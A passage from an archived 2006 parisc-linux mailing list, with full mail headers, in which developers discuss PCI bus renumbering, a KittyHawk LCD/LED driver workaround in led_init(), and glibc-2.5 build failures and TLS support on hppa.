	by free.linux.hp.com (Postfix) with ESMTP id C8EF17D925;
	Wed, 15 Nov 2006 11:09:04 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9178E7D923
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Nov 2006 11:08:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05596-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Nov 2006 11:08:42 -0700 (MST)
Original-Received: from smtp-out.coditel.net (smtp-out.coditel.net [212.95.66.33])
	by free.linux.hp.com (Postfix) with ESMTP id 1C24F7D91D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Nov 2006 11:08:42 -0700 (MST)
Original-Received: from smtp.coditel.net (localhost.localdomain [127.0.0.1])
	by smtp-out.coditel.net (Postfix) with ESMTP
	id 47773EB167; Wed, 15 Nov 2006 19:08:41 +0100 (CET)
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.84.48.coditel.net
	[85.28.84.48]) by smtp.coditel.net (Postfix) with ESMTP
	id 4C3542FD0A; Wed, 15 Nov 2006 19:08:38 +0100 (CET)
Original-Received: from bleh.bxl.tuxicoman.be ([2001:6f8:310:300:213:d4ff:fe5c:bd4f])
	by ibiza.bxl.tuxicoman.be with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.62) (envelope-from <gmsoft@tuxicoman.be>)
	id 1GkP9u-0006gL-6i; Wed, 15 Nov 2006 19:06:50 +0100
In-Reply-To: <20061115122352.GH19143@parisc-linux.org>
X-Mailer: Sylpheed version 2.2.9 (GTK+ 2.8.19; i686-pc-linux-gnu)
X-AV-Checked: clean on smtp.coditel.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: pjswLaN5TlIvULeQeGhrp7VGU2poZVld
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24076

On Wed, 15 Nov 2006 05:23:52 -0700
Matthew Wilcox <matthew@wil.cx> wrote:

> I bet a plain lspci will show a bus 2 elsewhere (probably one of the
> root busses).  ie: we need to renumber all our busses, just like we do
> for Dino.  Either that, or start using PCI domains, but I'd rather not
> go there just yet.

Hi Matthew,

I've put the complete dmesg and lspci output (both numerical and not) here :
https://www.tuxicoman.be/temp/c3600-pci-debug.logs

Cheers,
  Guy
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] suppress led task for KittyHawk's LCD
Date: Thu, 16 Nov 2006 21:55:49 +0100
Lines: 88
Approved: news@gmane.org
Message-ID: <200611162155.49380.deller@gmx.de>
References: <20061112014535.f583cc92.gmsoft@tuxicoman.be>
	<200611121605.07365.deller@gmx.de>
	<20061113225421.e00e5c4b.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624211 21586 80.91.229.3 (22 Nov 2014 02:43:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Nov 2006 20:56:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx052) with SMTP; 16 Nov 2006 21:56:19 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 031397D419;
	Thu, 16 Nov 2006 13:56:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27753-09; Thu, 16 Nov 2006 13:56:15 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 70D8B7D41F;
	Thu, 16 Nov 2006 13:56:13 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 558557D411
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Nov 2006 13:56:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27753-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Nov 2006 13:56:06 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 7732C7D8A7
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Nov 2006 13:56:06 -0700 (MST)
Original-Received: (qmail invoked by alias); 16 Nov 2006 20:56:04 -0000
Original-Received: from mnhm-590c0638.pool.einsundeins.de (EHLO p100.box) [89.12.6.56]
	by mail.gmx.net (mp001) with SMTP; 16 Nov 2006 21:56:04 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
In-Reply-To: <20061113225421.e00e5c4b.gmsoft@tuxicoman.be>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Gr0+EVhIbXBtTrqHPTQ2TdEqLyUmZYhN
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24077

Hi Guy,

I'm not sure if the LCD display on KittyHawks is supposed to print the activity symbols.
I think the best thing is to try it with HPUX. If HP-UX works, then something needs to be fixed.

Maybe HP-UX only uses the LCD display to print the LCD text (/proc/pdc/lcd) as well ?
In this case you should try again to disable the led status symbols for KittyHawk machines only.

Helge

On Monday 13 November 2006 22:54, Guy Martin wrote:
> Sorry for the missunderstanding.
> 
> It says this :
> [42949382.500000] LED display at ffd0c000 registered
> 
> And nothing can be seen on the lcd since it's not detected and disabled.
> /proc/pdc/lcd doesn't exists.
> 
> Do you know if this lcd is supposed to display the leds character ?
> 
> 
>   Guy
> 
> 
> On Sun, 12 Nov 2006 16:05:07 +0100
> Helge Deller <deller@gmx.de> wrote:
> 
> > Hi Guy,
> > 
> > I think you misunderstood me.
> > My idea was that you check what your machine's BIOS (PDC) returns for pdc_chassis_info().
> > 
> > So, if you would remove this code from led_init() you may test the results without this "workaround for KittyHawk":
> >         /* Work around the buggy PDC of KittyHawk-machines */
> >         switch (CPU_HVERSION) {
> >         case 0x580:             /* KittyHawk DC2-100 (K100) */
> >         case 0x581:             /* KittyHawk DC3-120 (K210) */
> >         case 0x582:             /* KittyHawk DC3 100 (K400) */
> >         case 0x583:             /* KittyHawk DC3 120 (K410) */
> >         case 0x58B:             /* KittyHawk DC2 100 (K200) */
> >                 printk(KERN_INFO "%s: KittyHawk-Machine (hversion 0x%x) found, "
> >                                 "LED detection skipped.\n", __FILE__, CPU_HVERSION);
> >                 goto found;     /* use the preinitialized values of lcd_info */
> >         }
> > 
> > Helge
> > 
> > 
> > On Sunday 12 November 2006 15:50, Guy Martin wrote:
> > > 
> > > Hi Helge,
> > > 
> > > This can't work. If you don't call register_led_driver(), led_func_ptr and led_type stay NULL and lcd_print() never prints anything.
> > > You can change lcd_print() not to check led_func_ptr but I fear something may break if the device is not initialized :)
> > > 
> > > Maybe we could use static int initialized defined in register_led_driver and make it global to check if the device is ready or not.
> > > 
> > >   Guy
> > > 
> > > 
> > > On Sun, 12 Nov 2006 15:04:38 +0100
> > > Helge Deller <deller@gmx.de> wrote:
> > > 
> > > > Hi Guy,
> > > > 
> > > > On Sunday 12 November 2006 01:45, Guy Martin wrote:
> > > > > I've noticed that the LCD on my K410 is filled at a constant rate with black characters.
> > > > > After some investigation, it looked like the code updating the led status was filling the LCD.
> > > > ....
> > > > 
> > > > instead of adding:
> > > > +               no_led = 1;     /* no led support on KittyHawk */
> > > >                 goto found;     /* use the preinitialized values of lcd_info */
> > > > 
> > > > did you tried to comment out the "goto found" ?
> > > > 
> > > > Helge
> > > 
> > > 
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] suppress led task for KittyHawk's LCD
Date: Thu, 16 Nov 2006 22:04:26 +0100
Lines: 100
Approved: news@gmane.org
Message-ID: <20061116220426.5941dd16.gmsoft@tuxicoman.be>
References: <20061112014535.f583cc92.gmsoft@tuxicoman.be>
	<200611121605.07365.deller@gmx.de>
	<20061113225421.e00e5c4b.gmsoft@tuxicoman.be>
	<200611162155.49380.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624211 21594 80.91.229.3 (22 Nov 2014 02:43:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <gmsoft@tuxicoman.be>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Nov 2006 21:04:12 -0000
Original-Received: from smtp-out.coditel.net (EHLO smtp-out.coditel.net) [212.95.66.33]
  by mx0.gmx.net (mx038) with SMTP; 16 Nov 2006 22:04:12 +0100
Original-Received: from smtp.coditel.net (localhost.localdomain [127.0.0.1])
	by smtp-out.coditel.net (Postfix) with ESMTP
	id 4806AEB27B; Thu, 16 Nov 2006 22:04:12 +0100 (CET)
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.84.48.coditel.net [85.28.84.48])
	by smtp.coditel.net (Postfix) with ESMTP
	id 35C3F2FD51; Thu, 16 Nov 2006 22:04:09 +0100 (CET)
Original-Received: from [172.20.1.248] (helo=localhost)
	by ibiza.bxl.tuxicoman.be with esmtps (TLSv1:AES256-SHA:256)
	(Exim 4.62)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1GkoNI-0008Tn-CS; Thu, 16 Nov 2006 22:02:20 +0100
In-Reply-To: <200611162155.49380.deller@gmx.de>
X-Mailer: Sylpheed version 2.2.4 (GTK+ 2.8.19; i686-pc-linux-gnu)
X-AV-Checked: clean on smtp.coditel.net
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: HqY5NXUJZCEXX7GPamwhL5FwIGhpZcbZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24078


Helge,

I installed HP-UX on that box and it only displayed PCD state codes as linux does when you select only CONFIG_PDC_CHASSIS.
On that point, I think that CONFIG_PDC_CHASSIS and CONFIG_CHASSIS_LCD_LED should be mutually exclusive.
When you select CONFIG_CHASSIS_LCD_LED, you don't see the chassis state anymore but only the text from /proc/pdc/lcd.

How am I supposed to enable something like CONFIG_CHASSIS_LCD_LED in HP-UX and display random text ?


  Guy


On Thu, 16 Nov 2006 21:55:49 +0100
Helge Deller <deller@gmx.de> wrote:

> Hi Guy,
> 
> I'm not sure if the LCD display on KittyHawks is supposed to print the activity symbols.
> I think the best thing is to try it with HPUX. If HP-UX works, then something needs to be fixed.
> 
> Maybe HP-UX only uses the LCD display to print the LCD text (/proc/pdc/lcd) as well ?
> In this case you should try again to disable the led status symbols for KittyHawk machines only.
> 
> Helge
> 
> On Monday 13 November 2006 22:54, Guy Martin wrote:
> > Sorry for the missunderstanding.
> > 
> > It says this :
> > [42949382.500000] LED display at ffd0c000 registered
> > 
> > And nothing can be seen on the lcd since it's not detected and disabled.
> > /proc/pdc/lcd doesn't exists.
> > 
> > Do you know if this lcd is supposed to display the leds character ?
> > 
> > 
> >   Guy
> > 
> > 
> > On Sun, 12 Nov 2006 16:05:07 +0100
> > Helge Deller <deller@gmx.de> wrote:
> > 
> > > Hi Guy,
> > > 
> > > I think you misunderstood me.
> > > My idea was that you check what your machine's BIOS (PDC) returns for pdc_chassis_info().
> > > 
> > > So, if you would remove this code from led_init() you may test the results without this "workaround for KittyHawk":
> > >         /* Work around the buggy PDC of KittyHawk-machines */
> > >         switch (CPU_HVERSION) {
> > >         case 0x580:             /* KittyHawk DC2-100 (K100) */
> > >         case 0x581:             /* KittyHawk DC3-120 (K210) */
> > >         case 0x582:             /* KittyHawk DC3 100 (K400) */
> > >         case 0x583:             /* KittyHawk DC3 120 (K410) */
> > >         case 0x58B:             /* KittyHawk DC2 100 (K200) */
> > >                 printk(KERN_INFO "%s: KittyHawk-Machine (hversion 0x%x) found, "
> > >                                 "LED detection skipped.\n", __FILE__, CPU_HVERSION);
> > >                 goto found;     /* use the preinitialized values of lcd_info */
> > >         }
> > > 
> > > Helge
> > > 
> > > 
> > > On Sunday 12 November 2006 15:50, Guy Martin wrote:
> > > > 
> > > > Hi Helge,
> > > > 
> > > > This can't work. If you don't call register_led_driver(), led_func_ptr and led_type stay NULL and lcd_print() never prints anything.
> > > > You can change lcd_print() not to check led_func_ptr but I fear something may break if the device is not initialized :)
> > > > 
> > > > Maybe we could use static int initialized defined in register_led_driver and make it global to check if the device is ready or not.
> > > > 
> > > >   Guy
> > > > 
> > > > 
> > > > On Sun, 12 Nov 2006 15:04:38 +0100
> > > > Helge Deller <deller@gmx.de> wrote:
> > > > 
> > > > > Hi Guy,
> > > > > 
> > > > > On Sunday 12 November 2006 01:45, Guy Martin wrote:
> > > > > > I've noticed that the LCD on my K410 is filled at a constant rate with black characters.
> > > > > > After some investigation, it looked like the code updating the led status was filling the LCD.
> > > > > ....
> > > > > 
> > > > > instead of adding:
> > > > > +               no_led = 1;     /* no led support on KittyHawk */
> > > > >                 goto found;     /* use the preinitialized values of lcd_info */
> > > > > 
> > > > > did you tried to comment out the "goto found" ?
> > > > > 
> > > > > Helge
> > > > 
> > > > 
> > 
> > 



From - Thu Nov 08 21:35:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 64-bit long double support.
Date: Thu, 16 Nov 2006 23:59:03 -0500
Organization: wh0rd.org
Lines: 74
Approved: news@gmane.org
Message-ID: <200611162359.05014.vapier@gentoo.org>
References: <119aab440611161731p47779d1hdc7e7dbd336eb23c@mail.gmail.com>
	<200611162310.03845.vapier@gentoo.org>
	<200611162316.26872.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1243345199=="
X-Trace: ger.gmane.org 1416624211 21596 80.91.229.3 (22 Nov 2014 02:43:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:31 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 dave.anglin@nrc.ca
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Nov 2006 04:59:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx068) with SMTP; 17 Nov 2006 05:59:13 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ED5CC7D964;
	Thu, 16 Nov 2006 21:59:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02261-09; Thu, 16 Nov 2006 21:59:09 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 01C277D965;
	Thu, 16 Nov 2006 21:59:08 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 789577D961
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Nov 2006 21:59:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02261-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Nov 2006 21:59:04 -0700 (MST)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183])
	by free.linux.hp.com (Postfix) with ESMTP id F13717D960
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Nov 2006 21:59:03 -0700 (MST)
Original-Received: from home.wh0rd.org (localhost [127.0.0.1])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtp.gentoo.org (Postfix) with ESMTP id 4191564896
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Nov 2006 04:59:01 +0000 (UTC)
Original-Received: (qmail 10266 invoked from network); 16 Nov 2006 23:56:29 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 16 Nov 2006 23:56:29 -0500
User-Agent: KMail/1.9.5
In-Reply-To: <200611162316.26872.vapier@gentoo.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: k3dodGkAbUkoDenGPWgn0V1kZ2hlN8q8
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24079

--===============1243345199==
Content-Type: multipart/signed; boundary="nextPart4086046.Q1Vv3LMnWu";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart4086046.Q1Vv3LMnWu
Content-Type: text/plain;
  charset="iso-8859-6"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Thursday 16 November 2006 23:16, Mike Frysinger wrote:
> ok, just tried glibc-2.5 + hppa + linuxthreads and that is for sure broken
> (the defines for handling locking is all broken in the release)

yeah glibc-2.5 fails as well:
=2E.. -o /var/tmp/portage/cross-hppa2.0-unknown-linux-gnu/glibc-2.5
/work/build-default-hppa2.0-unknown-linux-gnu-nptl/csu/crtn.o
In file included from ../nptl/descr.h:30,
                 from ../ports/sysdeps/hppa/nptl/tls.h:63,
                 from ../include/tls.h:6,
                 from <stdin>:2:
=2E./ports/sysdeps/unix/sysv/linux/hppa/nptl/lowlevellock.h: In=20
function '__lll_mutex_trylock':
=2E./ports/sysdeps/unix/sysv/linux/hppa/nptl/lowlevellock.h:113: error:=20
expected ':' or ')' before '-' token
=2E..

i leave adding snap updates to GMsoft ... i try to stick with releases sinc=
e i=20
have to help so many arches :/

> what is the minimal binutils/gcc versions for TLS support ?  binutils-2.17
> + gcc-4.1.1 =3D=3D no hppa TLS

upgraded to binutils-2.17.50.0.6 and i got TLS with gcc-4.1.1
=2Dmike

--nextPart4086046.Q1Vv3LMnWu
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.5 (GNU/Linux)

iQIVAwUARV1BmEFjO5/oN/WBAQLtIQ//abuyo8k1LUYkoOL7ujtg1nmdwx1yGynM
EXk5CqaPlmggilBggt6D19a3/PbhSKX7K3wZ+yx/OWpUzTFk9z5+RiQ+yjEGE6dz
wEHxJM042Ww0vmn9lOwlMuJVYYB03K1mID1q75709SgrorMHK+sy1htki00VSTaq
08/7f4kkoVbROyVCEfemVIOs+N07unHWruWAQQo+sb6SxB8eBumGwFEHHkXOZ/Us
QkvPi8NYqEyYFg5tbaBXHW/68dOS4EY+W2bc1ZC176oFpD157GjJEzfWh2RDCifZ
C3XIBEI0KIvlxVO7fnnBlA8D+GQUqdicdBeiv0P35lzplWfRuR1QcMDx4qRM4UhR
w12xuBHU8S4oPbHv8XXcCECQ61SjJsqeLzrCHWaNH1vwujiTHMPBWs6wQFn7Lgj3
BEx0EOo4WBVn8S+Wru/7Ydj5VE+Cmnj79cjv3VYqa5QX37UKvfhxUYSztsTL3WAw
WdNFS1eyaMn8LdEOJ6c66lL3RVMYbnBqMxFO0uLwiavltRb6GvJ5FKUTNLFJT59F
GjA2nCuyNU4ACq+ABbLMnptJ/4A5vhpR5JryCWjNUrIRkRZfb8CGRdMf6BNA6r2b
tWvigtL+c/dgtqlXPljhdeeviIzSzkhAh+LzRgFQsji01hntHP1btAR9mR8athLj
MEudzwn8jmM=
=WB6r
-----END PGP SIGNATURE-----

--nextPart4086046.Q1Vv3LMnWu--

--===============1243345199==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1243345199==--



From - Thu Nov 08 21:35:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 64-bit long double support.
Date: Fri, 17 Nov 2006 00:35:56 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <20061117053556.GA694@hiauly1.hia.nrc.ca>
References: <119aab440611161731p47779d1hdc7e7dbd336eb23c@mail.gmail.com>
	<200611170148.kAH1moG4028180@hiauly1.hia.nrc.ca>
	<119aab440611161948w5005d083ma170b013409c93c6@mail.gmail.com>
	<200611162310.03845.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624212 21598 80.91.229.3 (22 Nov 2014 02:43:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:32 +0000 (UTC)
Cc: dave.anglin@nrc.ca,
 parisc-linux@lists.parisc-linux.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Nov 2006 05:36:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx008) with SMTP; 17 Nov 2006 06:36:12 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9573E7D96D;
	Thu, 16 Nov 2006 22:36:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03425-01; Thu, 16 Nov 2006 22:36:08 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BFD117D968;
	Thu, 16 Nov 2006 22:36:05 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9C3DB7D965
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Nov 2006 22:36:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02847-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Nov 2006 22:35:59 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 2515A7D964
	for <parisc-linux@lists.parisc-linux.org>;
